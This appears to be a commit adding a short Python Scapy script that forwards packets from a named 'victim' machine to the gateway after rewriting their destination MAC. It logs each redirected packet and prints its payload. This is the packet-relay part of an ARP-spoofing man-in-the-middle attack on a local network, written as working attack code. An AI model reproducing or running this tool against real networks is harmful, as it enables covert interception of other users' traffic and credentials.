new_contents: #!/etc/usr/python
  
  from scapy.all import *
  import sys
  
  iface = "wlan1"
  filter = "ip"
  VICTIM_IP = "192.168.2.108"
  MY_IP = "192.168.2.104"
  GATEWAY_IP = "192.168.2.1"
  VICTIM_MAC = "### don't want so show###"
  MY_MAC = "### don't want so show###"
  GATEWAY_MAC = "### don't want so show###"
  
  def handle_packet(packet):
      if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
          packet[Ether].dst = GATEWAY_MAC
          # TODO: block iscsi packets with an if condition
          sendp(packet)
  
          print "A packet from " + packet[IP].src + " redirected!"
          sprintf("{Raw:%Raw.load%\n}")
  
  sniff(prn=handle_packet, filter=filter, iface=iface, store=0)
subject: add code to handle packets coming from victim machine.